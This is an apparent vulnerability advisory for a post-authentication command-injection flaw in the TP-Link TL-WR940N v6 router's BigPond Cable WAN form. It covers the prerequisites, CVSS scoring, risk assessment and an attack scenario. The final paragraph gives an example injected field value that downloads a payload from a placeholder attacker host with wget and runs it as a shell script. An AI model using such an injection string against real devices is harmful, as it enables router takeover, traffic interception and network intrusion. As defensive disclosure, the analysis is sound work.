TL-WR940N EUVD-2026-37498

Exploitation requires (1) network adjacency to the router - specifically reach to its HTTP/HTTPS administration interface, which by default is only exposed on LAN/Wi-Fi (AV:A in the CVSS 4.0 vector), (2) valid administrative credentials for the web UI (PR:H), and (3) the attacker must reach and submit the BigPond Cable (BPA) WAN connection-type configuration form, since the injection lives in that specific WAN module's input handling. No end-user interaction is required (UI:N), and no additional attack-requirement preconditions apply (AT:N); the bug is exploitable against default configurations of vulnerable firmware once the admin session is established, and is limited to TL-WR940N hardware revision v6 running firmware older than V6_260528.

This is a moderate-priority issue rather than an emergency: the CVSS 4.0 vector (AV:A/AC:L/AT:N/PR:H/UI:N) limits exploitation to an attacker already on the adjacent network with high-privilege administrative credentials, which substantially constrains the realistic attacker pool. The 8.5 score is driven by the high VC/VI/VA impact - full command execution on the router's underlying OS - but the PR:H prerequisite means this is primarily a post-authentication privilege/persistence escalation problem (admin-on-web-UI to root-on-device) rather than an unauthenticated takeover. No EPSS score, KEV listing, SSVC decision, or public PoC was provided, and no public exploit has been identified at time of analysis, so there is no current evidence of active exploitation; however, similar TP-Link SOHO command-injection bugs have historically been weaponized for botnet recruitment once a PoC drops, and routers exposing remote management or reused admin passwords would materially raise the risk.

An attacker who has obtained the router's admin password (via phishing, default-credential reuse, a prior CSRF, or a compromised LAN host) reaches the web UI from the LAN or Wi-Fi, navigates to the WAN configuration page, selects BigPond Cable as the connection type, and submits a crafted BPA parameter containing shell metacharacters (for example, a server or username field with ; wget http://attacker/x -O /tmp/x; sh /tmp/x #). The injected command runs with the httpd process's elevated privileges, giving the attacker a persistent root-equivalent foothold on the router that can be used for DNS hijacking, traffic interception, or pivoting into the internal network. No public PoC is currently known.